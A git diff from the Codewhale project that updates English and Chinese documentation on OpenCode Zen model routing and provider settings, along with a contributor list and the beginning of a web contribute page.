- Responses: `gpt-6-astra`, `gpt-6-sol`, `gpt-6-luna`, `gpt-5.6-sol`,
|
||||
`gpt-5.6-terra`, `gpt-5.6-luna`, `gpt-5.5`, `gpt-5.5-pro`, `gpt-5.4`,
|
||||
`gpt-5.4-pro`, `gpt-5.4-mini`, `gpt-5.4-nano`, `gpt-5.3-codex`,
|
||||
`gpt-5.3-codex-spark`, `gpt-5.2`, `gpt-5.2-codex`, `gpt-5.1`,
|
||||
`gpt-5.1-codex`, `gpt-5.1-codex-max`, `gpt-5.1-codex-mini`, `gpt-5`,
|
||||
`gpt-5-codex`, `gpt-5-nano`, `grok-4.7`, `grok-4.6`, `grok-4.5`,
|
||||
`grok-build-0.1`, `muse-spark-1.3`, `muse-spark-1.3-contributor-free`,
|
||||
`muse-spark-1.2`, `muse-spark-1.2-contributor`,
|
||||
`muse-spark-1.2-contributor-free`.
|
||||
- Anthropic Messages: `claude-fable-5-1`, `claude-fable-5`,
|
||||
`claude-opus-5-5`, `claude-opus-5`, `claude-opus-4-8`, `claude-opus-4-7`,
|
||||
`claude-opus-4-6`, `claude-opus-4-5`, `claude-sonnet-5-5`,
|
||||
`claude-sonnet-5`, `claude-sonnet-4-6`, `claude-sonnet-4-5`,
|
||||
`claude-haiku-4-5`, `qwen3.7-max`, `qwen3.7-plus`, `qwen3.6-plus`,
|
||||
`qwen3.5-plus`.
|
||||
- Chat Completions: `deepseek-v4-pro`, `deepseek-v4-flash`, `minimax-m3`,
|
||||
`minimax-m2.7`, `minimax-m2.5`, `glm-5.2`, `glm-5.1`, `glm-5`,
|
||||
`kimi-k2.5`, `kimi-k2.6`, `kimi-k2.7-code`, `grok-4.5`,
|
||||
`grok-build-0.1`, `big-pickle`, `mimo-v2.5-free`,
|
||||
`north-mini-code-free`, `nemotron-3-ultra-free`,
|
||||
`claude-sonnet-4`, `claude-haiku-4-5`, `qwen3.8-flash`, `qwen3.7-max`,
|
||||
`qwen3.7-plus`, `qwen3.6-plus`, `qwen3.5-plus`.
|
||||
- Chat Completions: `deepseek-v4.1-flash`, `deepseek-v4-pro`,
|
||||
`deepseek-v4-flash`, `deepseek-v4-flash-vision-exp`, `minimax-m3`,
|
||||
`minimax-m2.7`, `minimax-m2.5`, `glm-5.3-flash`, `glm-5.3`, `glm-5.2`,
|
||||
`glm-5.1`, `glm-5`, `kimi-k3`, `kimi-k2.7-code`, `kimi-k2.6`, `kimi-k2.5`,
|
||||
`qwen3.8-max`, `big-pickle`, `space-bunny-free`,
|
||||
`longcat-2.5-preview-free`, `mimo-v2.6-flash-free`, `mimo-v2.5-free`,
|
||||
`ling-3.0-flash-fin-free`, `north-mini-code-free`,
|
||||
`nemotron-3-ultra-free`, `nemotron-3.5-lightning-free`,
|
||||
`deepseek-v4-flash-free`.
|
||||
|
||||
Gemini entries are excluded because the official table assigns them Google's
|
||||
model-specific protocol. A catalog miss never falls back to another Zen wire
|
||||
shape, including when a custom Zen base URL is configured.
|
||||
These fail closed locally, with the reason in the error, instead of reaching
|
||||
Zen: Gemini (`@ai-sdk/google`, Google's model-specific protocol, which Codewhale
|
||||
does not speak); a catalog row naming any other package; a catalog row Models.dev
|
||||
marks `deprecated`; and a model neither source lists. A miss never falls back to
|
||||
another Zen wire shape, including when a custom Zen base URL is configured.
|
||||
|
||||
### Concentrate Notes
|
||||
|
||||
|
||||
+1
-1
@@ -140,7 +140,7 @@ to `npm install -g codewhale`.
|
||||
|
||||
### Homebrew
|
||||
|
||||
**Current published state (v0.9.13, published 2026-09-14; workspace source version 0.9.13):** The
|
||||
**Historical migration state as of v0.9.13 (published 2026-09-14):** The
|
||||
formula is `codewhale`. New installs:
|
||||
|
||||
```bash
|
||||
|
||||
@@ -233,7 +233,8 @@
|
||||
"@dajiaohuang",
|
||||
"@Water-Run",
|
||||
"@SparkofSpike",
|
||||
"@BX166"
|
||||
"@BX166",
|
||||
"@cenab"
|
||||
]
|
||||
},
|
||||
"screenshot": {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# 目录刷新
|
||||
|
||||
> 英文原文:[CATALOG_REFRESH.md](../CATALOG_REFRESH.md)。
|
||||
> 最后与英文同步日期(last synced with English revision):2026-09-28。
|
||||
> 最后与英文同步日期(last synced with English revision):2026-09-29。
|
||||
|
||||
Codewhale 怎么让模型元数据保持最新:哪些部分已经自动更新,哪些要人工维护,
|
||||
以及定时目录任务该做什么、不该做什么。
|
||||
@@ -181,8 +181,8 @@ CI 会运行 `seed render --check`,出现任何差异都会失败。
|
||||
| `crates/config/assets/models_dev.bundled.json` | 渲染出的种子 | 只由 `seed render` 写入 |
|
||||
|
||||
spec 只负责选择和映射;它不能写出与上游不一致的值(未知的键会被拒绝)。
|
||||
如果某个上游值对某条 Codewhale 路由不对,就加一条修正:只存在于种子里的压制,
|
||||
在第一次实时刷新时就会消失。
|
||||
如果某个上游值对某条 Codewhale 路由不对,就加一条修正。修正对种子和实时行都生效;
|
||||
只有手动编辑种子才产生的压制,才会在第一次实时刷新时消失。
|
||||
|
||||
1. `python3 scripts/catalog_models_dev.py seed lock --dry-run` 打印审阅报告:
|
||||
每一行的字段变化、上游现已认同的修正(删掉它们),以及未携带的上游模型。
|
||||
@@ -194,7 +194,7 @@ spec 只负责选择和映射;它不能写出与上游不一致的值(未知
|
||||
5. 检查默认线协议 ID 仍与 `DEFAULT_*_MODEL` 一致,运行目录测试,
|
||||
然后提 PR,并把报告放进 PR 正文。
|
||||
|
||||
可选:**在 PR 上**用一个便宜模型总结“新增 / 移除 / 默认风险”——
|
||||
可选:用一个便宜模型在 **PR 正文中**总结“新增 / 移除 / 默认风险”——
|
||||
但绝不让它当 JSON 的作者。
|
||||
|
||||
---
|
||||
@@ -212,7 +212,7 @@ cron (daily or weekly)
|
||||
(and optionally report new ids vs provider defaults)
|
||||
→ if material change: open PR
|
||||
title: chore(catalog): refresh Models.dev offline seed
|
||||
→ optional: agent comments a human-readable diff summary on the PR
|
||||
→ optional: include an agent-written, human-readable diff summary in the PR body
|
||||
```
|
||||
|
||||
这样的任务会运行 `seed lock` 和 `seed render` 并提 PR。用默认的
|
||||
|
||||
@@ -1045,7 +1045,7 @@ DeepSeek V4 前缀缓存让 token 标签变得重要。这些数量保持分离
|
||||
### 核心键(供 TUI/引擎使用)
|
||||
|
||||
- `provider`(字符串,可选):`deepseek`(默认)、`deepseek-anthropic`、`nvidia-nim`、`openai`、`atlascloud`、`wanjie-ark`、`volcengine`、`openrouter`、`xiaomi-mimo`、`novita`、`fireworks`、`siliconflow`、`arcee`、`siliconflow-CN`、`moonshot`、`sglang`、`vllm`、`ollama`、`ollama-cloud`、`huggingface`、`modelscope`、`together`、`qianfan`、`openai-codex`、`anthropic`、`openmodel`、`zai`、`stepfun`、`minimax`、`deepinfra`、`sakana`、`longcat`、`opencode-go`、`meta`、`mistral`、`telecomjs`、`xai`、`orcarouter`、`modelstudio-token-plan`、`google`、`antigravity`、`edenai` 或 `custom`。旧 `deepseek-cn` 配置仍作为 `deepseek` 的别名被接受;DeepSeek 在全球使用同一个官方主机 [`https://api.deepseek.com`](https://api-docs.deepseek.com/)。`deepseek-anthropic` 使用 `DEEPSEEK_API_KEY` 指向 DeepSeek 的 Anthropic Messages 兼容端点 `https://api.deepseek.com/anthropic`;`nvidia-nim` 通过 `https://integrate.api.nvidia.com/v1` 指向 NVIDIA NIM 托管的 DeepSeek 端点;`openai` 指向通用 OpenAI 兼容端点,默认 `https://api.openai.com/v1`;`atlascloud` 指向 AtlasCloud 的 OpenAI 兼容端点 `https://api.atlascloud.ai/v1`;`wanjie-ark` 指向 Wanjie Ark 的 OpenAI 兼容端点 `https://maas-openapi.wanjiedata.com/api/v1`;`volcengine` 指向火山方舟(Volcengine Ark)的 OpenAI 兼容编码端点 `https://ark.cn-beijing.volces.com/api/coding/v3`;`openrouter` 指向 `https://openrouter.ai/api/v1`;`xiaomi-mimo` 指向小米 MiMo 的 OpenAI 兼容端点,Token Plan key(`tp-...`)默认用 `https://token-plan-sgp.xiaomimimo.com/v1`,按量付费 key 用 `https://api.xiaomimimo.com/v1`。对于新加坡默认之外的 Token Plan 账号,显式设置 `base_url` 或对中国的账号用 `mode = "token-plan-cn"`,对欧洲/阿姆斯特丹用 `mode = "token-plan-ams"`;`novita` 指向 `https://api.novita.ai/openai/v1`;`fireworks` 指向 `https://api.fireworks.ai/inference/v1`;`siliconflow` 指向 SiliconFlow,默认 `https://api.siliconflow.com/v1`;`arcee` 指向 Arcee AI 的 OpenAI 兼容端点 `https://api.arcee.ai/api/v1`;`siliconflow-CN` 通过 `[providers.siliconflow_cn]` 指向 SiliconFlow 中国区域端点;`moonshot` 指向 Moonshot/Kimi,默认 `https://api.moonshot.ai/v1`;`sglang` 指向自托管 OpenAI 兼容端点,默认 `http://localhost:30000/v1`;`vllm` 指向自托管 vLLM OpenAI 兼容端点,默认 `http://localhost:8000/v1`;`ollama` 指向 Ollama 的 OpenAI 兼容端点,默认 `http://localhost:11434/v1`;`huggingface` 指向 Hugging Face Inference Providers `https://router.huggingface.co/v1`;`modelscope` 指向魔搭社区的 OpenAI 兼容推理 API `https://api-inference.modelscope.cn/v1`;`together` 指向 Together AI `https://api.together.xyz/v1`;`qianfan` 指向百度千帆 `https://api.baiduqianfan.ai/v1`;`openai-codex` 指向 ChatGPT/Codex OAuth;`anthropic` 指向 Claude 的原生 Messages API;`openmodel` 指向 OpenModel 的 Anthropic 兼容 Messages API `https://api.openmodel.ai`;`zai` 指向 Z.ai `https://api.z.ai/api/coding/paas/v4`;`stepfun` 指向 StepFun `https://api.stepfun.ai/v1`;`minimax` 指向 MiniMax `https://api.minimax.io/v1`;`deepinfra` 指向 DeepInfra `https://api.deepinfra.com/v1/openai`;`sakana` 指向 Sakana AI Fugu `https://api.sakana.ai/v1`;`longcat` 指向美团 LongCat `https://api.longcat.chat/openai/v1`;`opencode-go` 指向订阅支撑的 OpenCode Go Chat Completions 路由 `https://opencode.ai/zen/go/v1`;`meta` 指向 Meta Model API;`mistral` 指向 Mistral AI 的 OpenAI 兼容端点 `https://api.mistral.ai/v1`;`telecomjs` 指向 TelecomJS TokenHub `https://aigw.telecomjs.com/v1`;`xai` 指向 xAI 的 API key 或 OAuth 路由。
|
||||
- `opencode-zen`(字符串 provider 值):通过 `[providers.opencode_zen]` 选择模型感知的 OpenCode Zen 网关。默认 base URL 是 `https://opencode.ai/zen/v1`,默认模型 `gpt-5.6`,凭据来自 `api_key`、`OPENCODE_ZEN_API_KEY` 或回退 `OPENCODE_API_KEY`——绝不是 ChatGPT/Codex OAuth。接受 `OPENCODE_ZEN_BASE_URL` 和 `OPENCODE_ZEN_MODEL`。所选模型通过精选的 Zen 目录解析:GPT 用 Responses,Claude/Qwen 用 Anthropic Messages,记录的 DeepSeek/MiniMax/GLM/Kimi/Grok/free 行用 Chat Completions。Gemini 和未知模型失败关闭,因为 Codewhale 对它们没有经过验证的受支持线契约。确切当前模型组见 [`PROVIDERS.md`](PROVIDERS.md#opencode-zen-协议目录)。
|
||||
- `opencode-zen`(字符串 provider 值):通过 `[providers.opencode_zen]` 选择模型感知的 OpenCode Zen 网关。默认 base URL 是 `https://opencode.ai/zen/v1`,默认模型 `gpt-5.6`,凭据来自 `api_key`、`OPENCODE_ZEN_API_KEY` 或回退 `OPENCODE_API_KEY`——绝不是 ChatGPT/Codex OAuth。接受 `OPENCODE_ZEN_BASE_URL` 和 `OPENCODE_ZEN_MODEL`。所选模型的线协议先取自精选的 Zen 快照,再取自其 Models.dev `opencode` 行声明的 AI SDK 包(用 `codewhale models --update` 刷新):GPT、Grok 和 Muse Spark 用 Responses,Claude 和大多数 Qwen 行用 Anthropic Messages,DeepSeek/MiniMax/GLM/Kimi、`qwen3.8-max` 和免费行用 Chat Completions。Gemini、Models.dev 标记为 `deprecated` 的行以及任何已加载目录都未列出的模型失败关闭,因为 Codewhale 对它们没有经过验证的受支持线契约。确切当前模型组见 [`PROVIDERS.md`](PROVIDERS.md#opencode-zen-协议目录)。
|
||||
- `minimax-anthropic`(字符串 provider 值):通过 `[providers.minimax_anthropic]` 选择 MiniMax 的 Anthropic 兼容 Messages 路由。默认 Base URL 是 `https://api.minimax.io/anthropic`;中国区域设置 `https://api.minimaxi.com/anthropic`。保留 `/anthropic` 后缀,因为 Codewhale 会追加 `/v1/messages`。该路由使用 `MINIMAX_API_KEY`,默认 `MiniMax-M3`;`MiniMax-M2.7` 也已注册。官方 M3 输入模态是文本、图像和视频,带自适应或禁用思考。M2.7 仅文本,总是保持思考启用。
|
||||
- `api_key`(字符串,托管 provider 必填):对 DeepSeek/托管 provider 必须非空(或设置 provider API key 环境变量)。自托管 SGLang、vLLM 和本地 `ollama` 可省略。`ollama-cloud` 需要为该 provider 保存的密钥或由 `OLLAMA_CLOUD_API_KEY` 提供,然后 `OLLAMA_API_KEY`。
|
||||
- `auth_mode`(字符串,可选的 provider 表键):选择 provider 特有的认证契约。Kimi Code 会员使用 `auth_mode = "api_key"`(或省略该字段),在 [Kimi Code 控制台](https://www.kimi.com/code/console) 创建的 key,`base_url = "https://api.kimi.com/coding/v1"`,K3 用裸 `model = "k3"`。Codewhale 给该路由安全的 262,144-token 基线;只有 Kimi Code 计划包含 1M 访问(Allegretto 及以上)时才设置 `context_window = 1048576`。`k3[1m]` 是仅 Claude Code 的约定,不是 API 模型 ID,Codewhale 会拒绝它,而不是静默改变线模型或假定资格。`model = "kimi-for-coding"` 仍是所有 Kimi Code 会员可用的有效 K2.7 兼容路由。旧 `auth_mode = "kimi_oauth"` 以 API key 指引失败关闭,从不探测、读取、刷新或重写 `kimi_cli`/`kimi_code_cli` 凭据文件。一等 OAuth 需要 Codewhale 自己的厂商注册客户端身份,仍在 #4417 跟踪。
|
||||
|
||||
+31
-18
@@ -6,7 +6,7 @@
|
||||
|
||||
DeepSeek 仍是默认提供商,但 `ProviderKind::ALL` 中的每个条目都是一等公民、可选的提供商路由。`ALL` 是目录/选择器表面——每个厂商一个身份。双线协议方言种类(`*Anthropic`,例如 `deepseek-anthropic`)和 Model Studio 套餐变体保留在枚举中用于 serde 和 `provider_for_kind`,但刻意**不**作为目录行:套餐是主提供商配置(`crates/config/src/provider_kind.rs:221-226`)上的 `mode`/`base_url`,方言则是 `wire = openai|anthropic`。托管路由、通用 OpenAI 兼容端点、OpenAI Codex/ChatGPT 路由、原生 Anthropic 以及本地运行时,都在所选提供商/模型/base URL 上运行同一个终端 harness。
|
||||
|
||||
经普通 Chat Completions 访问的主机是普通的具名 provider(`[providers.<name>]` 表:base URL、模型、密钥环境变量),而不是 `ProviderKind`;`/provider` 与 `/setup` 保留「粘贴 Base URL 和密钥」路径。英文版中的「已知可用主机」表列出 SenseNova、Baseten、Groq、Cerebras、Command Code、阿里云百炼(DashScope)与 AICraft 的 URL 和密钥变量;这些主机作为内置描述符行随附于 `crates/config/assets/provider_descriptors.json`(仅描述如何连接主机,模型 ID 以实时 `GET /v1/models` 与 Codewhale 目录为准),仅供参考,请以各厂商文档为准。AICraft 的模型列表涵盖 DeepSeek、Anthropic Claude、Google Gemini、Qwen、GLM、MiniMax 与 Doubao(例如 `claude-4.6-sonnet`),以带密钥请求 `GET https://aicraftapi.com/v1/models` 的结果为准。OpenCode Zen 与 OpenCode Go 是下方的一等路由。在 `/provider` 中直接输入即可筛选列表(已绑定行操作的字母除外);`Ctrl+T` 探测所选行的 `/models`,只记录可达性(2xx 并不代表模型可用)。
|
||||
经普通 Chat Completions 访问的主机是普通的具名 provider(`[providers.<name>]` 表:base URL、模型、密钥环境变量),而不是 `ProviderKind`;`/provider` 与 `/setup` 保留「粘贴 Base URL 和密钥」路径。英文版中的「已知可用主机」表列出 SenseNova、Baseten、Groq、Cerebras、Command Code、阿里云百炼(DashScope)、AICraft 与 Tsubasa 的 URL 和密钥变量;这些主机作为内置描述符行随附于 `crates/config/assets/provider_descriptors.json`(仅描述如何连接主机,模型 ID 以实时 `GET /v1/models` 与 Codewhale 目录为准),仅供参考,请以各厂商文档为准。AICraft 的模型列表涵盖 DeepSeek、Anthropic Claude、Google Gemini、Qwen、GLM、MiniMax 与 Doubao(例如 `claude-4.6-sonnet`),以带密钥请求 `GET https://aicraftapi.com/v1/models` 的结果为准。Tsubasa(`https://api.tsubasa.sh/v1`,`TSUBASA_API_KEY`)仅实现 `GET /v1/models` 与 Chat Completions,公开模型 `tsubasa-pro` 与 `tsubasa-fast` 的上下文均为 32,768 tokens;保存后请执行 `codewhale config set providers.tsubasa.context_window 32768`。OpenCode Zen 与 OpenCode Go 是下方的一等路由。在 `/provider` 中直接输入即可筛选列表(已绑定行操作的字母除外);`Ctrl+T` 探测所选行的 `/models`,只记录可达性(2xx 并不代表模型可用)。
|
||||
|
||||
需要保持同步的来源:
|
||||
|
||||
@@ -421,7 +421,7 @@ Kimi 仍然仅支持 API 密钥;对 Kimi 的外部授权被拒绝。
|
||||
| `sakana` | `[providers.sakana]` | `FUGU_API_KEY`, `SAKANA_API_KEY` | `SAKANA_BASE_URL`;默认 `https://api.sakana.ai/v1` | `fugu`(默认), `fugu-ultra-20260615` | Sakana AI Fugu OpenAI 兼容路由。标准 Chat Completions 线协议;支持流式。`fugu-ultra-20260615` 是重型/推理变体。环境变量别名:`FUGU_API_KEY`(主), `SAKANA_API_KEY`;提供商别名:`sakana-ai`, `sakana_ai`, `fugu`。 |
|
||||
| `longcat` | `[providers.longcat]` | `LONGCAT_API_KEY` | `LONGCAT_BASE_URL`;默认 `https://api.longcat.chat/openai/v1` | `LongCat-2.0`(默认) | 美团 LongCat 精选模型网关。OpenAI 兼容 Chat Completions 线协议。在 https://longcat.chat/platform 注册获取 API 密钥。提供商别名:`long-cat`, `meituan-longcat`, `meituan`。 |
|
||||
| `opencode-go` | `[providers.opencode_go]` | `OPENCODE_GO_API_KEY` | `OPENCODE_GO_BASE_URL`;默认 `https://opencode.ai/zen/go/v1` | `deepseek-v4-pro`(默认), `grok-4.5`, `glm-5.2`, `glm-5.1`, `kimi-k3`, `kimi-k2.7-code`, `kimi-k2.6`, `deepseek-v4-flash`, `mimo-v2.5`, `mimo-v2.5-pro` | [OpenCode Go](https://opencode.ai/docs/go/) 订阅路由,使用 OpenAI 兼容 Chat Completions。接受 `OPENCODE_GO_MODEL`。Codewhale 使用裸线协议 ID;常见的 `opencode-go/<model-id>` 输入别名规范化为裸 ID。只在 Anthropic `/messages` 端点文档化的 Go 模型,在 Codewhale 支持按模型选择线协议之前被该路由刻意不公布。计费界面显示 Go 额度而不是 token 价格估算。 |
|
||||
| `opencode-zen` | `[providers.opencode_zen]` | `OPENCODE_ZEN_API_KEY`, 回退 `OPENCODE_API_KEY` | `OPENCODE_ZEN_BASE_URL`;默认 `https://opencode.ai/zen/v1` | `gpt-5.5`(默认);当前文档化的 GPT、Claude、Qwen、DeepSeek、MiniMax、GLM、Kimi、Grok 和免费模型 ID | [OpenCode Zen](https://opencode.ai/docs/zen/) 模型感知网关。接受 `OPENCODE_ZEN_MODEL`,官方 `opencode/<model-id>` 选择器规范化为裸线协议 ID。GPT 行使用 `/responses`;Claude 和 Qwen 行使用 `/messages`;DeepSeek、MiniMax、GLM、Kimi、Grok 和列出的免费行使用 `/chat/completions`。Responses 和 Chat Completions 用 Bearer `Authorization` 认证,而 Anthropic Messages 用 `x-api-key`;这些路由都不用 ChatGPT/Codex OAuth 指引或头。Gemini 目前失败关闭,因为其模型特定的 Google 线协议未实现。未知模型在精选目录中存在其协议之前也失败关闭。 |
|
||||
| `opencode-zen` | `[providers.opencode_zen]` | `OPENCODE_ZEN_API_KEY`, 回退 `OPENCODE_API_KEY` | `OPENCODE_ZEN_BASE_URL`;默认 `https://opencode.ai/zen/v1` | `gpt-5.6`(默认);当前的 GPT、Claude、Qwen、DeepSeek、MiniMax、GLM、Kimi、Grok、Muse Spark 和免费模型 ID | [OpenCode Zen](https://opencode.ai/docs/zen/) 模型感知网关。接受 `OPENCODE_ZEN_MODEL`,官方 `opencode/<model-id>` 选择器规范化为裸线协议 ID。每个模型的线协议先取自精选快照,再取自其 [Models.dev](https://models.dev) 行声明的 AI SDK 包:GPT、Grok 和 Muse Spark 行使用 `/responses`;Claude 和大多数 Qwen 行使用 `/messages`;DeepSeek、MiniMax、GLM、Kimi、`qwen3.8-max` 和免费行使用 `/chat/completions`。Responses 和 Chat Completions 用 Bearer `Authorization` 认证,而 Anthropic Messages 用 `x-api-key`;这些路由都不用 ChatGPT/Codex OAuth 指引或头。Gemini 失败关闭,因为其模型特定的 Google 线协议未实现;Models.dev 标记为 `deprecated` 的行以及任何已加载目录都未列出的模型也失败关闭。见 [OpenCode Zen 协议目录](#opencode-zen-协议目录)。 |
|
||||
| `meta` | `[providers.meta]` | `META_MODEL_API_KEY`, `MODEL_API_KEY` | `META_MODEL_API_BASE_URL`, `MODEL_API_BASE_URL`;默认 `https://api.meta.ai/v1` | `muse-spark-1.2`(默认) | [Meta Model API](https://developer.meta.com/ai/resources/blog/build-with-muse-spark/) 公开预览路由,使用 OpenAI 兼容 Chat Completions。Muse Spark 1.2 保留其线协议 ID、工具支持、1M 上下文、32K 输出元数据和 `none` 到 `xhigh` 的推理强度。接受 `META_MODEL_API_MODEL` 和 `MODEL_API_MODEL`。提供商别名:`meta-ai`, `meta_model_api`, `muse`, `muse-spark`。 |
|
||||
| `telecomjs` | `[providers.telecomjs]` | `TELECOMJS_API_KEY` | `TELECOMJS_BASE_URL`;默认 `https://aigw.telecomjs.com/v1` | 保守回退 `deepseek-v4-pro`;配置密钥后认证的 `/models` 行 | TelecomJS TokenHub OpenAI 兼容 Chat Completions 路由。实时目录按提供商和密钥指纹隔离,过期的行在瞬时刷新失败时存活,不支持的推理请求字段被省略。接受 `TELECOMJS_MODEL`。提供商别名:`telecom-js`, `telecom_js`, `telecomjs-cn`, `tokenhub`。 |
|
||||
| `mistral` | `[providers.mistral]` | `MISTRAL_API_KEY` | `MISTRAL_BASE_URL`;默认 `https://api.mistral.ai/v1` | `mistral-code-latest`(默认;`codestral-latest` 接受为别名), `mistral-medium-latest`(别名:`mistral-medium-3-5`), `mistral-small-latest`(别名:`mistral-small-2603`), `mistral-large-latest` | Mistral AI(la Plateforme)OpenAI 兼容 Chat 路由。在文档化的第一方 HTTPS `/v1` 主机上,Medium 和 Small 发送可调的 `reasoning_effort`(仅 `none` 或 `high`),解析 Mistral 的多态 thinking/text 块,并以相同线协议形状重放存储的思考。已废弃的原生 Magistral ID 仍是显式配置兼容路由:它们始终思考,从不接收可调 effort 字段。Code 和 Large 不推理。除非是文档化的第一方主机之一,自定义 `MISTRAL_BASE_URL` 保持通用 Chat 语义。接受 `MISTRAL_MODEL`。提供商别名:`mistral-ai`, `mistralai`, `la-plateforme`。 |
|
||||
@@ -438,26 +438,39 @@ Kimi 仍然仅支持 API 密钥;对 Kimi 的外部授权被拒绝。
|
||||
|
||||
Zen Responses 和 Chat Completions 请求使用 Bearer `Authorization` 认证;Zen Anthropic Messages 请求使用 `x-api-key`。这些路由都不会添加 ChatGPT/Codex OAuth 头。
|
||||
|
||||
捆绑的 Zen 传输快照遵循[官方端点表](https://opencode.ai/docs/zen/)并且刻意保持显式:
|
||||
每个 Zen 模型的线协议来自两个来源,都不会按模型 ID 家族猜测(`qwen3.8-flash` 走 Messages,而 `qwen3.8-max` 走 Chat):
|
||||
|
||||
- Responses:`gpt-5.6-sol`, `gpt-5.6-terra`, `gpt-5.6-luna`, `gpt-5.5`,
|
||||
`gpt-5.5-pro`, `gpt-5.4`, `gpt-5.4-pro`, `gpt-5.4-mini`, `gpt-5.4-nano`,
|
||||
`gpt-5.3-codex`, `gpt-5.3-codex-spark`, `gpt-5.2`, `gpt-5.2-codex`,
|
||||
`gpt-5.1`, `gpt-5.1-codex`, `gpt-5.1-codex-max`,
|
||||
`gpt-5.1-codex-mini`, `gpt-5`, `gpt-5-codex`, `gpt-5-nano`。
|
||||
- Anthropic Messages:`claude-fable-5`, `claude-opus-4-8`,
|
||||
`claude-opus-4-7`, `claude-opus-4-6`, `claude-opus-4-5`,
|
||||
1. **精选快照**:编译进 Codewhale,已对照[官方端点表](https://opencode.ai/docs/zen/)和 [Models.dev](https://models.dev) 的 `opencode` provider 核实。它是离线下限;当目录行为同一 ID 声明了不同线协议时,以它为准。
|
||||
2. **Models.dev 目录**:其 `opencode` provider 就是 Zen 公布的目录,每个模型行都写明 OpenCode 自己使用的 AI SDK 包。Codewhale 精确映射:`@ai-sdk/openai` → Responses,`@ai-sdk/anthropic` → Anthropic Messages,`@ai-sdk/openai-compatible`(provider 默认值)→ Chat Completions。本版本之后发布的 Zen 模型只要出现在目录中即可路由,无需发布新版 Codewhale。交互式 TUI 和 `codewhale exec` 都会加载持久化的目录;用 `codewhale models --update` 刷新。
|
||||
|
||||
精选快照:
|
||||
|
||||
- Responses:`gpt-6-astra`, `gpt-6-sol`, `gpt-6-luna`, `gpt-5.6-sol`,
|
||||
`gpt-5.6-terra`, `gpt-5.6-luna`, `gpt-5.5`, `gpt-5.5-pro`, `gpt-5.4`,
|
||||
`gpt-5.4-pro`, `gpt-5.4-mini`, `gpt-5.4-nano`, `gpt-5.3-codex`,
|
||||
`gpt-5.3-codex-spark`, `gpt-5.2`, `gpt-5.2-codex`, `gpt-5.1`,
|
||||
`gpt-5.1-codex`, `gpt-5.1-codex-max`, `gpt-5.1-codex-mini`, `gpt-5`,
|
||||
`gpt-5-codex`, `gpt-5-nano`, `grok-4.7`, `grok-4.6`, `grok-4.5`,
|
||||
`grok-build-0.1`, `muse-spark-1.3`, `muse-spark-1.3-contributor-free`,
|
||||
`muse-spark-1.2`, `muse-spark-1.2-contributor`,
|
||||
`muse-spark-1.2-contributor-free`。
|
||||
- Anthropic Messages:`claude-fable-5-1`, `claude-fable-5`,
|
||||
`claude-opus-5-5`, `claude-opus-5`, `claude-opus-4-8`, `claude-opus-4-7`,
|
||||
`claude-opus-4-6`, `claude-opus-4-5`, `claude-sonnet-5-5`,
|
||||
`claude-sonnet-5`, `claude-sonnet-4-6`, `claude-sonnet-4-5`,
|
||||
`claude-haiku-4-5`, `qwen3.7-max`, `qwen3.7-plus`, `qwen3.6-plus`,
|
||||
`qwen3.5-plus`。
|
||||
- Chat Completions:`deepseek-v4-pro`, `deepseek-v4-flash`, `minimax-m3`,
|
||||
`minimax-m2.7`, `minimax-m2.5`, `glm-5.2`, `glm-5.1`, `glm-5`,
|
||||
`kimi-k2.5`, `kimi-k2.6`, `kimi-k2.7-code`, `grok-4.5`,
|
||||
`grok-build-0.1`, `big-pickle`, `mimo-v2.5-free`,
|
||||
`north-mini-code-free`, `nemotron-3-ultra-free`,
|
||||
`claude-sonnet-4`, `claude-haiku-4-5`, `qwen3.8-flash`, `qwen3.7-max`,
|
||||
`qwen3.7-plus`, `qwen3.6-plus`, `qwen3.5-plus`。
|
||||
- Chat Completions:`deepseek-v4.1-flash`, `deepseek-v4-pro`,
|
||||
`deepseek-v4-flash`, `deepseek-v4-flash-vision-exp`, `minimax-m3`,
|
||||
`minimax-m2.7`, `minimax-m2.5`, `glm-5.3-flash`, `glm-5.3`, `glm-5.2`,
|
||||
`glm-5.1`, `glm-5`, `kimi-k3`, `kimi-k2.7-code`, `kimi-k2.6`, `kimi-k2.5`,
|
||||
`qwen3.8-max`, `big-pickle`, `space-bunny-free`,
|
||||
`longcat-2.5-preview-free`, `mimo-v2.6-flash-free`, `mimo-v2.5-free`,
|
||||
`ling-3.0-flash-fin-free`, `north-mini-code-free`,
|
||||
`nemotron-3-ultra-free`, `nemotron-3.5-lightning-free`,
|
||||
`deepseek-v4-flash-free`。
|
||||
|
||||
Gemini 条目被排除,因为官方表给它们分配了 Google 的模型特定协议。目录缺失永远不会回退到另一种 Zen 线协议形态,包括配置了自定义 Zen base URL 时。
|
||||
以下情况在本地失败关闭并在错误中说明原因,而不会发往 Zen:Gemini(`@ai-sdk/google`,Google 的模型特定协议,Codewhale 不支持);目录行声明了其他任何包;Models.dev 标记为 `deprecated` 的目录行;两个来源都未列出的模型。目录缺失永远不会回退到另一种 Zen 线协议形态,包括配置了自定义 Zen base URL 时。
|
||||
|
||||
### Hugging Face Provider 与 MCP 与 Hub
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
# 更名:DeepSeek TUI → Codewhale
|
||||
|
||||
> 英文原文:[REBRAND.md](../REBRAND.md)。
|
||||
> 最后与英文同步日期(last synced with English revision):2026-09-26。
|
||||
> 最后与英文同步日期(last synced with English revision):2026-09-29。
|
||||
|
||||
从 **v0.8.41** 起,本项目改用新名字发布:`codewhale`。
|
||||
|
||||
@@ -129,7 +129,7 @@ Codewhale 发布资产。只要安装目录可写,这两条命令就会把这
|
||||
|
||||
### Homebrew
|
||||
|
||||
**当前发布状态(v0.9.13,发布于 2026-09-14;工作区源码版本 0.9.13):**
|
||||
**截至 v0.9.13(发布于 2026-09-14)的历史迁移状态:**
|
||||
formula 名为 `codewhale`。全新安装:
|
||||
|
||||
```bash
|
||||
|
||||
@@ -1,18 +1,17 @@
|
||||
import Link from "next/link";
|
||||
import { Icon } from "@/components/icon";
|
||||
import { PageHeader, Section } from "@/components/page-header";
|
||||
import { getContribute, pickTextLocale } from "@/lib/i18n/dictionaries";
|
||||
import { buildPageMetadata } from "@/lib/page-meta";
|
||||
|
||||
export async function generateMetadata({ params }: { params: Promise<{ locale: string }> }) {
|
||||
const { locale } = await params;
|
||||
const isZh = locale === "zh";
|
||||
const t = getContribute(locale);
|
||||
return buildPageMetadata({
|
||||
path: "/contribute",
|
||||
locale,
|
||||
title: isZh ? "参与贡献 · Codewhale" : "Contribute · Codewhale",
|
||||
description: isZh
|
||||
? "提交 issue、改进翻译和文档、发送 pull request,参与 Codewhale 国际开源社区。"
